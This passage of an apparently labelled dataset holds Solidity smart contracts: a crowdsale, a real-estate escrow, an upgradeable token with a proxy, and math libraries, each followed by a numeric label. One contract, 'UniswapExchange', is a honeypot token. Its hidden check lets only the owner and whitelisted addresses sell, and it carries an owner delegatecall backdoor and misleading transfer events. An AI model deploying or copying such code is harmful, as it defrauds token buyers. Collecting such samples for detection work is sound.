(_durationInHours * 1 hours) + startTime; tokensForOneEther = _tokensForOneEther; minimumGoalInWei = _goalInWei; bonusPct = _bonusPct; weiCollected = 0; tokensSold = 0; totalInvestments = 0; failure = false; withdrew = false; realAmountForOneEther = tokenPool.token().getRealTokenAmount(tokensForOneEther); } function() payable { invest(); } function invest() payable { require(canInvest(msg.sender, msg.value)); uint256 excess; uint256 weiPaid = msg.value; uint256 tokensToBuy; (tokensToBuy, excess) = howManyTokensForEther(weiPaid); require(tokensToBuy <= tokensLeft() && tokensToBuy > 0); if (excess > 0) { overpays[msg.sender] = safeAdd(overpays[msg.sender], excess); weiPaid = safeSub(weiPaid, excess); } investedFrom[msg.sender] = safeAdd(investedFrom[msg.sender], weiPaid); tokensSoldTo[msg.sender] = safeAdd(tokensSoldTo[msg.sender], tokensToBuy); tokensSold = safeAdd(tokensSold, tokensToBuy); weiCollected = safeAdd(weiCollected, weiPaid); if(address(restrictions) != 0x0) { restrictions.investHappened(msg.sender, msg.value); } require(tokenPool.token().transferFrom(tokenPool, msg.sender, tokensToBuy)); ++totalInvestments; Invested(msg.sender, weiPaid, tokensToBuy); } function returnToken(address from, uint256 amountReturned) public returnableTokenOnly { if (msg.sender == address(tokenPool.token()) && getState() == State.FinishedFailure) { require(tokensSoldTo[from] == amountReturned); returnedTo[from] = investedFrom[from]; investedFrom[from] = 0; from.transfer(returnedTo[from]); Refund(from, returnedTo[from]); } } function canInvest(address investor, uint256 amount) constant returns(bool) { return getState() == State.Active && (address(restrictions) == 0x0 || restrictions.canInvest(investor, amount, tokensLeft())); } function howManyTokensForEther(uint256 weiAmount) constant returns(uint256 tokens, uint256 excess) { uint256 bpct = getCurrentBonusPct(weiAmount); uint256 maxTokens = (tokensLeft() * 100) / (100 + bpct); tokens = weiAmount * realAmountForOneEther / 1 ether; if (tokens > maxTokens) { tokens = maxTokens; } excess = weiAmount - tokens * 1 ether / realAmountForOneEther; tokens = (tokens * 100 + tokens * bpct) / 100; } function getCurrentBonusPct(uint256 investment) constant returns (uint256) { return bonusPct; } function tokensLeft() constant returns(uint256) { return tokenPool.getTokenAmount(); } function amountToBeneficiary() constant returns (uint256) { return weiCollected; } function getState() constant returns (State) { if (failure) { return State.FinishedFailure; } if (now < startTime) { return State.BeforeStart; } else if ((endTime == 0 || now < endTime) && tokensLeft() > 0) { return State.Active; } else if (weiCollected >= minimumGoalInWei || tokensLeft() <= 0) { return State.FinishedSuccess; } else { return State.FinishedFailure; } } function withdrawOverpay() { uint amount = overpays[msg.sender]; overpays[msg.sender] = 0; if (amount > 0) { if (msg.sender.send(amount)) { OverpayRefund(msg.sender, amount); } else { overpays[msg.sender] = amount; } } } function transferToBeneficiary() { require(getState() == State.FinishedSuccess && !withdrew); withdrew = true; uint256 amount = amountToBeneficiary(); beneficiary.transfer(amount); Refund(beneficiary, amount); } function makeFailed(bool state) managerOnly { failure = state; } function changeBeneficiary(address newBeneficiary) managerOnly { beneficiary = newBeneficiary; } } contract BCSAddBonusCrowdsale is BCSCrowdsale { uint256 public decreaseStepPct; uint256 public stepDuration; uint256 public maxDecreasePct; uint256[] public investSteps; uint8[] public bonusPctSteps; function BCSAddBonusCrowdsale( ITokenPool _tokenPool, IInvestRestrictions _restrictions, address _beneficiary, uint256 _startTime, uint256 _durationInHours, uint256 _goalInWei, uint256 _tokensForOneEther, uint256 _bonusPct, uint256 _maxDecreasePct, uint256 _decreaseStepPct, uint256 _stepDurationDays, uint256[] _investSteps, uint8[] _bonusPctSteps ) BCSCrowdsale( _tokenPool, _restrictions, _beneficiary, _startTime, _durationInHours, _goalInWei, _tokensForOneEther, _bonusPct ) { require (_bonusPct >= maxDecreasePct); investSteps = _investSteps; bonusPctSteps = _bonusPctSteps; maxDecreasePct = _maxDecreasePct; decreaseStepPct = _decreaseStepPct; stepDuration = _stepDurationDays * 1 days; } function getCurrentBonusPct(uint256 investment) public constant returns (uint256) { uint256 decreasePct = decreaseStepPct * (now - startTime) / stepDuration; if (decreasePct > maxDecreasePct) { decreasePct = maxDecreasePct; } uint256 first24hAddition = (now - startTime < 1 days ? 1 : 0); for (int256 i = int256(investSteps.length) - 1; i >= 0; --i) { if (investment >= investSteps[uint256(i)]) { return bonusPct - decreasePct + bonusPctSteps[uint256(i)] + first24hAddition; } } return bonusPct - decreasePct + first24hAddition; } }
1
5,192
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public ownerCandidat; constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public{ require(newOwner != address(0)); ownerCandidat = newOwner; } function confirmOwnership() public{ require(msg.sender == ownerCandidat); owner = msg.sender; } } contract realestate is Ownable{ using SafeMath for uint; enum statuses { created,canceled,signed,finished } struct _dealData{ address buyer; address seller; address signer; uint sum; uint fee; uint atCreated; uint atClosed; uint balance; statuses status; uint dealNumber; string comment; uint objectType; uint date; bool isProlong; } struct _dealSigns{ address signBuyer; address signSeller; address finishSignBuyer; address finishSignSeller; address finishSignSigner; } event MoneyTransfer( address indexed _from, address indexed _to, uint _value ); address public agencyOwner; address public agencyReceiver; _dealData[] private deals; _dealSigns[] private signs; mapping (uint=>uint) private dealNumbers; modifier onlyAgency(){ require(msg.sender == agencyOwner); _; } modifier onlySigner(uint _dealNumber){ uint deal = dealNumbers[_dealNumber]; require(msg.sender == deals[deal].signer); _; } constructor() public{ agencyOwner = msg.sender; agencyReceiver = msg.sender; } function changeAgencyOwner(address _newAgency) public { require(msg.sender == agencyOwner || msg.sender == owner); agencyOwner = _newAgency; } function changeAgencyReceiver (address _agencyReceiver) public{ require(msg.sender == agencyOwner || msg.sender == owner); agencyReceiver = _agencyReceiver; } function changeDealDate(uint _dealNumber, uint _days) onlyAgency public{ uint deal = dealNumbers[_dealNumber]; require(deals[deal].isProlong); deals[deal].date = now + _days * 1 days; } function getSigns(uint _dealNumber) constant public returns ( address signBuyer, address signSeller, address finishSignBuyer, address finishSignSeller, address finishSignSigner){ uint deal = dealNumbers[_dealNumber]; return ( signs[deal].signBuyer, signs[deal].signSeller, signs[deal].finishSignBuyer, signs[deal].finishSignSeller, signs[deal].finishSignSigner ); } function getDealByNumber(uint _dealNumber) constant public returns ( address buyer, address sender, address agency, uint sum, uint atCreated, statuses status, uint objectType) { uint deal = dealNumbers[_dealNumber]; return ( deals[deal].buyer, deals[deal].seller, deals[deal].signer, deals[deal].sum, deals[deal].atCreated, deals[deal].status, deals[deal].objectType ); } function getDealsLength() onlyAgency constant public returns (uint len){ return deals.length; } function getDealById(uint deal) onlyAgency constant public returns ( address buyer, address sender, address agency, uint sum, uint atCreated, statuses status, uint objectType, uint dealID) { return ( deals[deal].buyer, deals[deal].seller, deals[deal].signer, deals[deal].sum, deals[deal].atCreated, deals[deal].status, deals[deal].objectType, deal ); } function getDealDataByNumber(uint _dealNumber) constant public returns ( string comment, uint fee, uint atClosed, uint date, bool isProlong) { uint deal = dealNumbers[_dealNumber]; return ( deals[deal].comment, deals[deal].fee, deals[deal].atClosed, deals[deal].date, deals[deal].isProlong ); } function addDeal( address _buyer, address _seller, address _signer, uint _sum, uint _fee, uint _objectType, uint _dealNumber, string _comment, uint whoPay, uint _countDays, bool _isProlong) onlyAgency public{ if(whoPay ==0){ _sum = _sum.add(_fee); } uint newIndex = deals.length++; signs.length ++; deals[newIndex].buyer = _buyer; deals[newIndex].seller = _seller; deals[newIndex].signer = _signer; deals[newIndex].sum = _sum; deals[newIndex].fee = _fee; deals[newIndex].date = now + _countDays * 1 days; deals[newIndex].isProlong = _isProlong; deals[newIndex].atCreated = now; deals[newIndex].comment = _comment; deals[newIndex].status = statuses.created; deals[newIndex].balance = 0; deals[newIndex].objectType = _objectType; deals[newIndex].dealNumber = _dealNumber; dealNumbers[_dealNumber] = newIndex; signs[newIndex].signBuyer = 0x0; signs[newIndex].signSeller = 0x0; signs[newIndex].finishSignSeller = 0x0; signs[newIndex].finishSignBuyer = 0x0; signs[newIndex].finishSignSigner = 0x0; } function signBuyer(uint _dealNumber) public payable{ uint deal = dealNumbers[_dealNumber]; require(signs[deal].signBuyer == 0x0 && msg.sender == deals[deal].buyer); require(signs[deal].signSeller == deals[deal].seller); require(deals[deal].sum == msg.value); signs[deal].signBuyer = msg.sender; deals[deal].balance = msg.value; deals[deal].status = statuses.signed; } function signSeller(uint _dealNumber) public { uint deal = dealNumbers[_dealNumber]; require(signs[deal].signSeller == 0x0 && msg.sender == deals[deal].seller); signs[deal].signSeller = msg.sender; } function refund(uint _dealNumber) public{ uint deal = dealNumbers[_dealNumber]; require(now > deals[deal].date && deals[deal].balance > 0 && msg.sender == deals[deal].buyer); deals[deal].buyer.transfer(deals[deal].balance); deals[deal].balance = 0; } function finishDeal(uint _dealNumber) public{ uint deal = dealNumbers[_dealNumber]; require(deals[deal].balance > 0 && deals[deal].status == statuses.signed ); if(msg.sender == deals[deal].buyer){ signs[deal].finishSignBuyer = msg.sender; } if(msg.sender == deals[deal].seller){ signs[deal].finishSignSeller = msg.sender; } if(msg.sender ==deals[deal].signer){ signs[deal].finishSignSigner = msg.sender; } uint signCount = 0; if(deals[deal].buyer == signs[deal].finishSignBuyer){ signCount++; } if(deals[deal].seller == signs[deal].finishSignSeller){ signCount++; } if(deals[deal].signer == signs[deal].finishSignSigner){ signCount++; } if(signCount >= 2){ deals[deal].seller.transfer(deals[deal].sum - deals[deal].fee); emit MoneyTransfer(this,deals[deal].seller,deals[deal].sum-deals[deal].fee); agencyReceiver.transfer(deals[deal].fee); emit MoneyTransfer(this,agencyReceiver,deals[deal].fee); deals[deal].balance = 0; deals[deal].status = statuses.finished; deals[deal].atClosed = now; } } function cancelDeal(uint _dealNumber) onlySigner(_dealNumber) public{ uint deal = dealNumbers[_dealNumber]; require(deals[deal].balance > 0 && deals[deal].status == statuses.signed); deals[deal].buyer.transfer(deals[deal].balance); emit MoneyTransfer(this,deals[deal].buyer,deals[deal].balance); deals[deal].balance = 0; deals[deal].status = statuses.canceled; deals[deal].atClosed = now; } }
1
4,212
pragma solidity 0.5.5; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address payable public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable newOwner) onlyOwner public { owner = newOwner; } } contract EnvoyChain_v1 is owned { using SafeMath for uint256; string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; bool public safeguard = false; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool frozen); function _transfer(address _from, address _to, uint _value) internal { require(!safeguard); require (_to != address(0)); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(!safeguard); allowance[msg.sender][_spender] = _value; return true; } constructor() public{ balanceOf[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply); } function () external payable { buyTokens(); } function burn(uint256 _value) public returns (bool success) { require(!safeguard); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(!safeguard); balanceOf[_from] = balanceOf[_from].sub(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_from, _value); return true; } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(address(0), target, mintedAmount); } function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner{ _transfer(address(this), owner, tokenAmount); } function manualWithdrawEther()onlyOwner public{ address(owner).transfer(address(this).balance); } function changeSafeguardStatus() onlyOwner public{ if (safeguard == false){ safeguard = true; } else{ safeguard = false; } } bool public passiveAirdropStatus; uint256 public passiveAirdropTokensAllocation; uint256 public airdropAmount; uint256 public passiveAirdropTokensSold; mapping(uint256 => mapping(address => bool)) public airdropClaimed; uint256 internal airdropClaimedIndex; uint256 public airdropFee = 0.05 ether; function startNewPassiveAirDrop(uint256 passiveAirdropTokensAllocation_, uint256 airdropAmount_ ) public onlyOwner { passiveAirdropTokensAllocation = passiveAirdropTokensAllocation_; airdropAmount = airdropAmount_; passiveAirdropStatus = true; } function stopPassiveAirDropCompletely() public onlyOwner{ passiveAirdropTokensAllocation = 0; airdropAmount = 0; airdropClaimedIndex++; passiveAirdropStatus = false; } function claimPassiveAirdrop() public payable returns(bool) { require(airdropAmount > 0, 'Token amount must not be zero'); require(passiveAirdropStatus, 'Air drop is not active'); require(passiveAirdropTokensSold <= passiveAirdropTokensAllocation, 'Air drop sold out'); require(!airdropClaimed[airdropClaimedIndex][msg.sender], 'user claimed air drop already'); require(!isContract(msg.sender), 'No contract address allowed to claim air drop'); require(msg.value >= airdropFee, 'Not enough ether to claim this airdrop'); _transfer(address(this), msg.sender, airdropAmount); passiveAirdropTokensSold += airdropAmount; airdropClaimed[airdropClaimedIndex][msg.sender] = true; return true; } function changePassiveAirdropAmount(uint256 newAmount) public onlyOwner{ airdropAmount = newAmount; } function isContract(address _address) public view returns (bool){ uint32 size; assembly { size := extcodesize(_address) } return (size > 0); } function updateAirdropFee(uint256 newFee) public onlyOwner{ airdropFee = newFee; } function airdropACTIVE(address[] memory recipients,uint256 tokenAmount) public onlyOwner { require(recipients.length <= 150); uint256 totalAddresses = recipients.length; for(uint i = 0; i < totalAddresses; i++) { _transfer(address(this), recipients[i], tokenAmount); } } bool public whitelistingStatus; mapping (address => bool) public whitelisted; function changeWhitelistingStatus() onlyOwner public{ if (whitelistingStatus == false){ whitelistingStatus = true; } else{ whitelistingStatus = false; } } function whitelistUser(address userAddress) onlyOwner public{ require(whitelistingStatus == true); require(userAddress != address(0)); whitelisted[userAddress] = true; } function whitelistManyUsers(address[] memory userAddresses) onlyOwner public{ require(whitelistingStatus == true); uint256 addressCount = userAddresses.length; require(addressCount <= 150); for(uint256 i = 0; i < addressCount; i++){ require(userAddresses[i] != address(0)); whitelisted[userAddresses[i]] = true; } } uint256 public sellPrice; uint256 public buyPrice; function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buyTokens() payable public { uint amount = msg.value * buyPrice; _transfer(address(this), msg.sender, amount); } function sellTokens(uint256 amount) public { uint256 etherAmount = amount * sellPrice/(10**decimals); require(address(this).balance >= etherAmount); _transfer(msg.sender, address(this), amount); msg.sender.transfer(etherAmount); } bool internal initialized; function initialize( address payable _owner ) public { require(!initialized); require(owner == address(0)); name = "Envoy"; symbol = "NVOY"; decimals = 18; totalSupply = 250000000 * (10**decimals); owner = _owner; balanceOf[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply); initialized = true; } } contract Proxy { function implementation() public view returns (address); function () payable external { address _impl = implementation(); require(_impl != address(0)); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } contract UpgradeabilityProxy is Proxy { event Upgraded(address indexed implementation); bytes32 private constant implementationPosition = keccak256("EtherAuthority.io.proxy.implementation"); constructor () public {} function implementation() public view returns (address impl) { bytes32 position = implementationPosition; assembly { impl := sload(position) } } function setImplementation(address newImplementation) internal { bytes32 position = implementationPosition; assembly { sstore(position, newImplementation) } } function _upgradeTo(address newImplementation) internal { address currentImplementation = implementation(); require(currentImplementation != newImplementation); setImplementation(newImplementation); emit Upgraded(newImplementation); } } contract OwnedUpgradeabilityProxy is UpgradeabilityProxy { event ProxyOwnershipTransferred(address previousOwner, address newOwner); bytes32 private constant proxyOwnerPosition = keccak256("EtherAuthority.io.proxy.owner"); constructor () public { setUpgradeabilityOwner(msg.sender); } modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { owner := sload(position) } } function setUpgradeabilityOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { sstore(position, newProxyOwner) } } function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } function upgradeToAndCall(address implementation, bytes memory data) payable public onlyProxyOwner { _upgradeTo(implementation); (bool success,) = address(this).call.value(msg.value).gas(200000)(data); require(success,'initialize function errored'); } function generateData() public view returns(bytes memory){ return abi.encodeWithSignature("initialize(address)",msg.sender); } } contract EnvoyChain_proxy is OwnedUpgradeabilityProxy { constructor() public OwnedUpgradeabilityProxy() { } }
1
3,507
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
201
pragma solidity 0.4.25; contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } contract Pausable is Owned { uint public lastPauseTime; bool public paused; constructor(address _owner) Owned(_owner) public { } function setPaused(bool _paused) external onlyOwner { if (_paused == paused) { return; } paused = _paused; if (paused) { lastPauseTime = now; } emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeDecimalMath { using SafeMath for uint; uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; uint public constant UNIT = 10 ** uint(decimals); uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); function unit() external pure returns (uint) { return UNIT; } function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } function multiplyDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(y) / UNIT; } function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } function divideDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(UNIT).div(y); } function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 